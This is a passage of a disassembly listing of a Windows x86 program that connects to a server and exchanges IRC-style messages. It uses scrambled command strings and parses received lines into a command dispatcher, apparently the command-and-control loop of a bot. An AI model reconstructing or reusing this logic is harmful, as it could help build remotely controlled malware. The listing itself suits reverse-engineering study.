		call	dword_456FD4	; gethostbyname
		test	eax, eax
		jz	short loc_41C94A
		mov	eax, [eax+0Ch]
		push	4
		push	dword ptr [eax]
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_429420
		add	esp, 0Ch
		mov	[ebp+var_2C], 2
		push	[ebp+arg_4]
		call	dword_456F38	; ntohs
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	dword_456EBC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41C959


loc_41C94A:				; CODE XREF: sub_41C8B1+5Ej
		push	dword ptr [esi]
		call	dword_456FF0	; closesocket


loc_41C952:				; CODE XREF: sub_41C8B1+51j
		mov	eax, edi
		jmp	loc_41CA7C
; ---------------------------------------------------------------------------


loc_41C959:				; CODE XREF: sub_41C8B1+97j
		push	ebx
		mov	ebx, dword_437188
		call	ebx ; dword_437188
		mov	ecx, esi
		mov	dword_4584AC, eax
		call	sub_41C6C4
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_4370D0	; QueryPerformanceCounter
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_43718C	; QueryPerformanceFrequency
		xor	eax, eax
		cmp	[ebp+var_10], eax
		jl	short loc_41C9C9
		jg	short loc_41C990
		cmp	[ebp+var_14], eax
		jbe	short loc_41C9C9


loc_41C990:				; CODE XREF: sub_41C8B1+D8j
		cmp	[ebp+var_8], eax
		jl	short loc_41C9C9
		jg	short loc_41C99C
		cmp	[ebp+var_C], eax
		jbe	short loc_41C9C9


loc_41C99C:				; CODE XREF: sub_41C8B1+E4j
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_42B2F0
		mov	dword ptr [ebp+var_1C],	eax
		mov	dword ptr [ebp+var_1C+4], edx
		fild	[ebp+var_1C]
		push	ecx
		push	ecx		; double
		fstp	[esp+3Ch+var_3C]
		call	sub_42A706
		pop	ecx
		pop	ecx
		call	sub_42A9E0
		jmp	short loc_41C9CB
; ---------------------------------------------------------------------------


loc_41C9C9:				; CODE XREF: sub_41C8B1+D6j
					; sub_41C8B1+DDj ...
		call	ebx ; dword_437188


loc_41C9CB:				; CODE XREF: sub_41C8B1+116j
		mov	dword_457F60, eax
		call	ebx ; dword_437188
		push	[ebp+arg_8]
		mov	dword_4584AC, eax
		mov	byte ptr [esi+4], 1
		call	sub_4293A0
		inc	eax
		push	eax
		call	sub_42B4D7
		mov	edi, dword_4370B4
		pop	ecx
		pop	ecx
		mov	[esi+8], eax
		push	[ebp+arg_8]
		push	eax
		call	edi ; dword_4370B4
		push	[ebp+arg_C]
		call	sub_4293A0
		inc	eax
		push	eax
		call	sub_42B4D7
		pop	ecx
		mov	[esi+0Ch], eax
		pop	ecx
		push	[ebp+arg_10]
		push	eax
		call	edi ; dword_4370B4
		cmp	[ebp+arg_14], 0
		mov	edi, offset aSS	; "%s %s\r\n"
		jz	short loc_41CA46
		push	offset byte_454A54
		push	[ebp+arg_14]
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jz	short loc_41CA46
		push	[ebp+arg_14]
		push	offset a7lybp1gunfm0 ; "7LybP1GuNfm0"
		push	edi
		push	dword ptr [esi]
		push	esi
		call	sub_41C4E4
		add	esp, 14h


loc_41CA46:				; CODE XREF: sub_41C8B1+16Dj
					; sub_41C8B1+17Fj
		push	[ebp+arg_8]
		push	offset aTugnf_mqsdr0_0 ; "TuGNF.mQSDR0"
		push	edi
		push	dword ptr [esi]
		push	esi
		call	sub_41C4E4
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	offset a391myLxl28_ ; "391mY/LxL28."
		push	offset aSS0S	; "%s %s * 0 :%s\r\n"
		push	dword ptr [esi]
		push	esi
		call	sub_41C4E4
		add	esp, 2Ch
		call	ebx ; dword_437188
		mov	dword_4584AC, eax
		xor	eax, eax
		pop	ebx


loc_41CA7C:				; CODE XREF: sub_41C8B1+13j
					; sub_41C8B1+A3j
		pop	edi
		pop	esi
		leave
		retn	18h
sub_41C8B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA82	proc near		; CODE XREF: sub_40A9FE+B4Ap
					; sub_4182BA+67Bp ...
		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+4], 0
		jz	short loc_41CAB2
		push	offset a___	; "..."
		push	esi
		call	sub_41CAB4
		pop	ecx
		and	byte ptr [esi+4], 0
		and	byte ptr [esi+5], 0
		pop	ecx
		push	2
		push	dword ptr [esi]
		call	dword_456FE8	; shutdown
		push	dword ptr [esi]
		call	dword_456FF0	; closesocket


loc_41CAB2:				; CODE XREF: sub_41CA82+7j
		pop	esi
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAB4	proc near		; CODE XREF: sub_40A9FE+B38p
					; sub_4182BA+66Ap ...

var_2710	= byte ptr -2710h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 2710h
		call	sub_429B60
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi+4], 0
		jz	short loc_41CB25
		cmp	[ebp+arg_4], 0
		jz	short loc_41CB07
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_2710]
		push	[ebp+arg_4]
		push	2710h
		push	eax
		call	sub_42B8AA
		lea	eax, [ebp+var_2710]
		push	eax
		push	offset aVozbg0sssom1 ; "vozbG0sSsoM1"
		push	offset aSS	; "%s %s\r\n"
		push	dword ptr [esi]
		push	esi
		call	sub_41C4E4
		add	esp, 24h
		jmp	short loc_41CB1C
; ---------------------------------------------------------------------------


loc_41CB07:				; CODE XREF: sub_41CAB4+1Bj
		push	offset aVozbg0sssom1 ; "vozbG0sSsoM1"
		push	offset aS_6	; "%s\r\n"
		push	dword ptr [esi]
		push	esi
		call	sub_41C4E4
		add	esp, 10h


loc_41CB1C:				; CODE XREF: sub_41CAB4+51j
		test	eax, eax
		jz	short loc_41CB25
		xor	eax, eax
		inc	eax
		jmp	short loc_41CB27
; ---------------------------------------------------------------------------


loc_41CB25:				; CODE XREF: sub_41CAB4+15j
					; sub_41CAB4+6Aj
		xor	eax, eax


loc_41CB27:				; CODE XREF: sub_41CAB4+6Fj
		pop	esi
		leave
		retn
sub_41CAB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB2A	proc near		; CODE XREF: sub_418FA1+61Dp

var_400		= byte ptr -400h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+4], 0
		jz	short loc_41CB86
		push	edi


loc_41CB3D:				; CODE XREF: sub_41CB2A+55j
		push	0
		lea	eax, [ebp+var_400]
		push	3FFh
		push	eax
		push	dword ptr [esi]
		call	dword_456F58	; recv
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41CB81
		test	edi, edi
		jz	short loc_41CB81
		call	dword_437188	; GetTickCount
		and	[ebp+edi+var_400], 0
		mov	dword_4584AC, eax
		lea	eax, [ebp+var_400]
		mov	ecx, esi
		push	eax
		call	sub_41CB8C
		jmp	short loc_41CB3D
; ---------------------------------------------------------------------------


loc_41CB81:				; CODE XREF: sub_41CB2A+2Ej
					; sub_41CB2A+32j
		and	byte ptr [esi+4], 0
		pop	edi


loc_41CB86:				; CODE XREF: sub_41CB2A+10j
		xor	eax, eax
		pop	esi
		inc	eax
		leave
		retn
sub_41CB2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; CODE XREF: sub_41CB2A+50p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebp, ecx
		mov	ebx, offset asc_4476D0 ; "\r\n"
		jmp	short loc_41CBAB
; ---------------------------------------------------------------------------


loc_41CB9D:				; CODE XREF: sub_41CB8C+2Cj
		and	byte ptr [esi],	0
		push	edi
		mov	ecx, ebp
		call	sub_41CBC1
		lea	edi, [esi+2]


loc_41CBAB:				; CODE XREF: sub_41CB8C+Fj
		push	ebx
		push	edi
		call	sub_42AEA0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jnz	short loc_41CB9D
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_41CB8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CBC1	proc near		; CODE XREF: sub_41CB8C+17p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		xor	ebx, ebx
		cmp	byte ptr [eax],	3Ah
		push	edi
		mov	[ebp+var_4], ecx
		mov	[ebp+var_8], ebx
		push	20h
		jnz	loc_41CD3A
		lea	esi, [eax+1]
		push	esi
		call	sub_42B1A0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_41CD97
		mov	[eax], bl
		inc	eax
		push	20h
		push	eax
		mov	[ebp+arg_0], eax
		call	sub_42B1A0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_41CC0C
		mov	[edi], bl
		inc	edi


loc_41CC0C:				; CODE XREF: sub_41CBC1+46j
		push	21h
		push	esi
		mov	[ebp+var_14], esi
		call	sub_42B1A0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_10], eax
		jz	short loc_41CC3D
		mov	[eax], bl
		inc	[ebp+var_10]
		push	40h
		push	[ebp+var_10]
		call	sub_42B1A0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		jz	short loc_41CC3D
		mov	[eax], bl
		inc	[ebp+var_C]


loc_41CC3D:				; CODE XREF: sub_41CBC1+5Dj
					; sub_41CBC1+75j
		mov	esi, dword_437178
		push	offset a5h5br_qpSm1 ; "5H5BR.qp/sm1"
		push	[ebp+arg_0]
		call	esi ; dword_437178
		test	eax, eax
		jz	loc_41CD30
		push	offset aYjmlc1btsf10_0 ; "yJmlc1btsF10"
		push	[ebp+arg_0]
		call	esi ; dword_437178
		test	eax, eax
		jnz	short loc_41CC92


loc_41CC63:				; CODE XREF: sub_41CBC1+DDj
		push	[ebp+var_C]
		mov	ecx, [ebp+var_4]
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_41C755
		test	eax, eax
		jz	loc_41CD30
		push	[ebp+var_C]
		mov	ecx, [ebp+var_4]
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_41C65E
		jmp	loc_41CD30
; ---------------------------------------------------------------------------


loc_41CC92:				; CODE XREF: sub_41CBC1+A0j
		push	offset aVozbg0sssom1 ; "vozbG0sSsoM1"
		push	[ebp+arg_0]
		call	esi ; dword_437178
		test	eax, eax
		jz	short loc_41CC63
		push	offset aG7IvGks9l1_0 ; "g7/IV/gks9L1"
		push	[ebp+arg_0]
		call	esi ; dword_437178
		test	eax, eax
		jnz	short loc_41CCC6
		push	20h
		push	edi
		mov	[ebp+var_8], edi
		call	sub_42B1A0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_41CCC3


loc_41CCC1:				; CODE XREF: sub_41CBC1+12Aj
		mov	[edi], bl


loc_41CCC3:				; CODE XREF: sub_41CBC1+FEj
		inc	edi
		jmp	short loc_41CD30
; ---------------------------------------------------------------------------


loc_41CCC6:				; CODE XREF: sub_41CBC1+EBj
		push	offset aZyvgp1mxobt0_0 ; "zyVGp1MxObt0"
		push	[ebp+arg_0]
		call	esi ; dword_437178
		test	eax, eax
		jnz	short loc_41CCED
		push	20h
		push	edi
		mov	[ebp+var_8], edi
		call	sub_42B1A0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_41CD97
		jmp	short loc_41CCC1
; ---------------------------------------------------------------------------


loc_41CCED:				; CODE XREF: sub_41CBC1+111j
		push	offset aTugnf_mqsdr0_0 ; "TuGNF.mQSDR0"
		push	[ebp+arg_0]
		call	esi ; dword_437178
		test	eax, eax
		jnz	short loc_41CD30
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		push	[ebp+var_14]
		call	esi ; dword_437178
		test	eax, eax
		jnz	short loc_41CD30
		mov	esi, [ebp+var_4]
		push	dword ptr [esi+8]
		call	sub_4290D0
		push	edi
		call	sub_4293A0
		inc	eax
		push	eax
		call	sub_42B4D7
		add	esp, 0Ch
		mov	[esi+8], eax
		push	edi
		push	eax
		call	dword_4370B4	; lstrcpyA


loc_41CD30:				; CODE XREF: sub_41CBC1+8Ej
					; sub_41CBC1+B5j ...
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		push	[ebp+arg_0]
		jmp	short loc_41CD8F
; ---------------------------------------------------------------------------


loc_41CD3A:				; CODE XREF: sub_41CBC1+19j
		push	eax
		mov	edi, eax
		call	sub_42B1A0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41CD97
		push	offset dword_445B50
		push	edi
		mov	[eax], bl
		lea	esi, [eax+1]
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jnz	short loc_41CD7D
		cmp	esi, ebx
		jz	short loc_41CD97
		mov	eax, [ebp+var_4]
		inc	esi
		push	esi
		push	offset dword_445B60
		push	offset aSS	; "%s %s\r\n"
		push	dword ptr [eax]
		push	eax
		call	sub_41C4E4
		add	esp, 14h
		jmp	short loc_41CD97
; ---------------------------------------------------------------------------


loc_41CD7D:				; CODE XREF: sub_41CBC1+19Aj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_C], ebx
		push	eax
		push	esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+var_8], ebx
		push	edi


loc_41CD8F:				; CODE XREF: sub_41CBC1+177j
		mov	ecx, [ebp+var_4]
		call	sub_41CD9E


loc_41CD97:				; CODE XREF: sub_41CBC1+2Cj
					; sub_41CBC1+124j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_41CBC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CD9E	proc near		; CODE XREF: sub_41CBC1+1D1p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+20h]
		jmp	short loc_41CDBA
; ---------------------------------------------------------------------------


loc_41CDA7:				; CODE XREF: sub_41CD9E+1Ej
		push	[esp+8+arg_0]
		push	dword ptr [esi]
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jz	short loc_41CDC0
		mov	esi, [esi+8]


loc_41CDBA:				; CODE XREF: sub_41CD9E+7j
		test	esi, esi
		jnz	short loc_41CDA7
		jmp	short loc_41CDCF
; ---------------------------------------------------------------------------


loc_41CDC0:				; CODE XREF: sub_41CD9E+17j
		push	edi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		call	dword ptr [esi+4]
		add	esp, 0Ch


loc_41CDCF:				; CODE XREF: sub_41CD9E+20j
		pop	edi
		pop	esi
		retn	0Ch
sub_41CD9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CDD4	proc near		; CODE XREF: .text:00401976p
					; sub_401990:loc_401A6Dp ...

var_2710	= byte ptr -2710h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, 2710h
		call	sub_429B60
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi+4], 0
		jnz	short loc_41CDF0
		xor	eax, eax
		inc	eax
		jmp	short loc_41CE47
; ---------------------------------------------------------------------------


loc_41CDF0:				; CODE XREF: sub_41CDD4+15j
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_2710]
		push	[ebp+arg_8]
		push	2710h
		push	eax
		call	sub_42B8AA
		lea	eax, [ebp+var_2710]
		push	eax
		push	offset dword_443EB0
		call	sub_415603
		lea	eax, [ebp+var_2710]
		push	eax
		push	[ebp+arg_4]
		push	offset aG7IvGks9l1_0 ; "g7/IV/gks9L1"
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	dword ptr [esi]
		push	esi
		call	sub_41C4E4
		add	esp, 30h
		mov	esi, eax
		push	3E8h
		call	dword_437190	; Sleep
		mov	eax, esi


loc_41CE47:				; CODE XREF: sub_41CDD4+1Aj
		pop	esi
		leave
		retn
sub_41CDD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE4A	proc near		; CODE XREF: .text:00401944p
					; sub_401990:loc_401A66p ...

var_26F8	= byte ptr -26F8h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, 26F8h
		call	sub_429B60
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi+4], 0
		jnz	short loc_41CE66
		xor	eax, eax
		inc	eax
		jmp	short loc_41CEBD
; ---------------------------------------------------------------------------


loc_41CE66:				; CODE XREF: sub_41CE4A+15j
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_26F8]
		push	[ebp+arg_8]
		push	26F6h
		push	eax
		call	sub_42B8AA
		lea	eax, [ebp+var_26F8]
		push	eax
		push	offset dword_443EB0
		call	sub_415603
		lea	eax, [ebp+var_26F8]
		push	eax
		push	[ebp+arg_4]
		push	offset aZyvgp1mxobt0_0 ; "zyVGp1MxObt0"
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	dword ptr [esi]
		push	esi
		call	sub_41C4E4
		add	esp, 30h
		mov	esi, eax
		push	3E8h
		call	dword_437190	; Sleep
		mov	eax, esi


loc_41CEBD:				; CODE XREF: sub_41CE4A+1Aj
		pop	esi
		leave
		retn
sub_41CE4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CEC0	proc near		; CODE XREF: sub_40A9FE+5411p

var_26F8	= byte ptr -26F8h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, 26F8h
		call	sub_429B60
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi+4], 0
		jnz	short loc_41CEDC
		xor	eax, eax
		inc	eax
		jmp	short loc_41CF22
; ---------------------------------------------------------------------------


loc_41CEDC:				; CODE XREF: sub_41CEC0+15j
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_26F8]
		push	[ebp+arg_8]
		push	26F6h
		push	eax
		call	sub_42B8AA
		lea	eax, [ebp+var_26F8]
		push	eax
		push	[ebp+arg_4]
		push	offset aZyvgp1mxobt0_0 ; "zyVGp1MxObt0"
		push	offset dword_4476E0
		push	dword ptr [esi]
		push	esi
		call	sub_41C4E4
		add	esp, 28h
		mov	esi, eax
		push	3E8h
		call	dword_437190	; Sleep
		mov	eax, esi


loc_41CF22:				; CODE XREF: sub_41CEC0+1Aj
		pop	esi
		leave
		retn
sub_41CEC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CF25	proc near		; CODE XREF: sub_40A9FE+2323p
					; sub_40A9FE+29DDp ...

arg_0		= dword	ptr  4

		cmp	byte ptr [ecx+4], 0
		jnz	short loc_41CF30
		xor	eax, eax
		inc	eax
		jmp	short locret_41CF49
; ---------------------------------------------------------------------------


loc_41CF30:				; CODE XREF: sub_41CF25+4j
		push	[esp+arg_0]
		push	offset aKc4l5_savs3_ ; "KC4L5.sAVS3."
		push	offset aSS	; "%s %s\r\n"
		push	dword ptr [ecx]
		push	ecx
		call	sub_41C4E4
		add	esp, 14h

locret_41CF49:				; CODE XREF: sub_41CF25+9j
		retn	4
sub_41CF25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CF4C	proc near		; CODE XREF: sub_423C7A+471p
					; sub_423C7A+5D4p ...

var_26F8	= byte ptr -26F8h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, 26F8h
		call	sub_429B60
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi+4], 0
		jz	short loc_41CF99
		lea	eax, [ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_26F8]
		push	[ebp+arg_C]
		push	26F6h
		push	eax
		call	sub_42B8AA
		add	esp, 10h
		cmp	[ebp+arg_8], 0
		jz	short loc_41CF9E
		lea	eax, [ebp+var_26F8]
		push	eax
		push	[ebp+arg_8]
		call	sub_427B4E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41CF9E


loc_41CF99:				; CODE XREF: sub_41CF4C+15j
		xor	eax, eax
		inc	eax
		jmp	short loc_41CFDD
; ---------------------------------------------------------------------------


loc_41CF9E:				; CODE XREF: sub_41CF4C+36j
					; sub_41CF4C+4Bj
		lea	eax, [ebp+var_26F8]
		push	eax
		push	offset dword_443EB0
		call	sub_415603
		lea	eax, [ebp+var_26F8]
		push	eax
		push	[ebp+arg_4]
		push	offset aZyvgp1mxobt0_0 ; "zyVGp1MxObt0"
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	dword ptr [esi]
		push	esi
		call	sub_41C4E4
		add	esp, 20h
		mov	esi, eax
		push	3E8h
		call	dword_437190	; Sleep
		mov	eax, esi


loc_41CFDD:				; CODE XREF: sub_41CF4C+50j
		pop	esi
		leave
		retn
sub_41CF4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CFE0	proc near		; CODE XREF: sub_423C7A:loc_4240F2p
					; sub_423C7A:loc_424255p ...

var_26F8	= byte ptr -26F8h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, 26F8h
		call	sub_429B60
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi+4], 0
		jz	short loc_41D02D
		lea	eax, [ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_26F8]
		push	[ebp+arg_C]
		push	26F6h
		push	eax
		call	sub_42B8AA
		add	esp, 10h
		cmp	[ebp+arg_8], 0
		jz	short loc_41D032
		lea	eax, [ebp+var_26F8]
		push	eax
		push	[ebp+arg_8]
		call	sub_427B4E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41D032


loc_41D02D:				; CODE XREF: sub_41CFE0+15j
		xor	eax, eax
		inc	eax
		jmp	short loc_41D071
; ---------------------------------------------------------------------------


loc_41D032:				; CODE XREF: sub_41CFE0+36j
					; sub_41CFE0+4Bj
		lea	eax, [ebp+var_26F8]
		push	eax
		push	offset dword_443EB0
		call	sub_415603
		lea	eax, [ebp+var_26F8]
		push	eax
		push	[ebp+arg_4]
		push	offset aG7IvGks9l1_0 ; "g7/IV/gks9L1"
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	dword ptr [esi]
		push	esi
		call	sub_41C4E4
		add	esp, 20h
		mov	esi, eax
		push	3E8h
		call	dword_437190	; Sleep
		mov	eax, esi


loc_41D071:				; CODE XREF: sub_41CFE0+50j
		pop	esi
		leave
		retn
sub_41CFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D074	proc near		; CODE XREF: sub_420AB8+62p

arg_0		= dword	ptr  4

		cmp	byte ptr [ecx+4], 0
		jnz	short loc_41D07F
		xor	eax, eax
		inc	eax
		jmp	short locret_41D098
; ---------------------------------------------------------------------------


loc_41D07F:				; CODE XREF: sub_41D074+4j
		push	[esp+arg_0]
		push	offset a5h5br_qpSm1 ; "5H5BR.qp/sm1"
		push	offset aSS	; "%s %s\r\n"
		push	dword ptr [ecx]
		push	ecx
		call	sub_41C4E4
		add	esp, 14h

locret_41D098:				; CODE XREF: sub_41D074+9j
		retn	4
sub_41D074	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D09B	proc near		; CODE XREF: sub_40A9FE+2352p
					; sub_420AB8+58p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	byte ptr [ecx+4], 0
		jnz	short loc_41D0A6
		xor	eax, eax
		inc	eax
		jmp	short locret_41D0C3
; ---------------------------------------------------------------------------


loc_41D0A6:				; CODE XREF: sub_41D09B+4j
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset a5h5br_qpSm1 ; "5H5BR.qp/sm1"
		push	offset dword_4476F8
		push	dword ptr [ecx]
		push	ecx
		call	sub_41C4E4
		add	esp, 18h

locret_41D0C3:				; CODE XREF: sub_41D09B+9j
		retn	8
sub_41D09B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D0C6	proc near		; CODE XREF: sub_40A9FE+2374p

arg_0		= dword	ptr  4

		cmp	byte ptr [ecx+4], 0
		jnz	short loc_41D0D1
		xor	eax, eax
		inc	eax
		jmp	short locret_41D0EA
; ---------------------------------------------------------------------------


loc_41D0D1:				; CODE XREF: sub_41D0C6+4j
		push	[esp+arg_0]
		push	offset aYjmlc1btsf10_0 ; "yJmlc1btsF10"
		push	offset aSS	; "%s %s\r\n"
		push	dword ptr [ecx]
		push	ecx
		call	sub_41C4E4
		add	esp, 14h

locret_41D0EA:				; CODE XREF: sub_41D0C6+9j
		retn	4
sub_41D0C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D0ED	proc near		; CODE XREF: sub_40A9FE+2401p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	byte ptr [eax+4], 0
		jnz	short loc_41D0FB
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41D0FB:				; CODE XREF: sub_41D0ED+8j
		push	[esp+arg_4]
		push	offset aS_6	; "%s\r\n"
		push	dword ptr [eax]
		push	eax
		call	sub_41C4E4
		add	esp, 10h
		retn
sub_41D0ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D110	proc near		; CODE XREF: sub_41D163+14p
					; sub_420D29+41p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	byte ptr [ecx+4], 0
		jnz	short loc_41D11E
		xor	eax, eax
		inc	eax
		jmp	short loc_41D15F
; ---------------------------------------------------------------------------


loc_41D11E:				; CODE XREF: sub_41D110+7j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41D141
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset aLcxMHdpwr1 ; "lCX/m/HdpWr1"
		push	offset dword_4476F8
		push	dword ptr [ecx]
		push	ecx
		call	sub_41C4E4
		add	esp, 18h
		jmp	short loc_41D15F
; ---------------------------------------------------------------------------


loc_41D141:				; CODE XREF: sub_41D110+12j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset aLcxMHdpwr1 ; "lCX/m/HdpWr1"
		push	offset dword_447704
		push	dword ptr [ecx]
		push	ecx
		call	sub_41C4E4
		add	esp, 1Ch


loc_41D15F:				; CODE XREF: sub_41D110+Cj
					; sub_41D110+2Fj
		pop	ebp
		retn	0Ch
sub_41D110	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D163	proc near		; CODE XREF: sub_420CB6+57p

arg_0		= dword	ptr  4

		cmp	byte ptr [ecx+4], 0
		jnz	short loc_41D16E
		xor	eax, eax
		inc	eax
		jmp	short locret_41D17E
; ---------------------------------------------------------------------------


loc_41D16E:				; CODE XREF: sub_41D163+4j
		push	0
		push	[esp+4+arg_0]
		push	dword ptr [ecx+8]
		call	sub_41D110
		xor	eax, eax

locret_41D17E:				; CODE XREF: sub_41D163+9j
		retn	4
sub_41D163	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D181	proc near		; CODE XREF: sub_418FA1+5E9p
					; sub_418FA1+5F5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	[ecx+24h], eax
		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_41D197
		call	sub_41D318
		jmp	short loc_41D1F5
; ---------------------------------------------------------------------------


loc_41D197:				; CODE XREF: sub_41D181+Dj
		cmp	eax, 1
		jnz	short loc_41D1A3
		call	sub_41D475
		jmp	short loc_41D1F5
; ---------------------------------------------------------------------------


loc_41D1A3:				; CODE XREF: sub_41D181+19j
		cmp	eax, 3
		jnz	short loc_41D1AF
		call	sub_41D2AB
		jmp	short loc_41D1F5
; ---------------------------------------------------------------------------


loc_41D1AF:				; CODE XREF: sub_41D181+25j
		cmp	eax, 4
		jnz	short loc_41D1BB
		call	sub_41D242
		jmp	short loc_41D1F5
; ---------------------------------------------------------------------------


loc_41D1BB:				; CODE XREF: sub_41D181+31j
		cmp	eax, 2
		jz	short loc_41D1F0
		cmp	eax, 5
		jnz	short loc_41D1CC
		call	sub_41D5EF
		jmp	short loc_41D1F5
; ---------------------------------------------------------------------------


loc_41D1CC:				; CODE XREF: sub_41D181+42j
		cmp	eax, 6
		jnz	short loc_41D1D8
		call	sub_41D6A6
		jmp	short loc_41D1F5
; ---------------------------------------------------------------------------


loc_41D1D8:				; CODE XREF: sub_41D181+4Ej
		cmp	eax, 7
		jnz	short loc_41D1E4
		call	sub_41D7D2
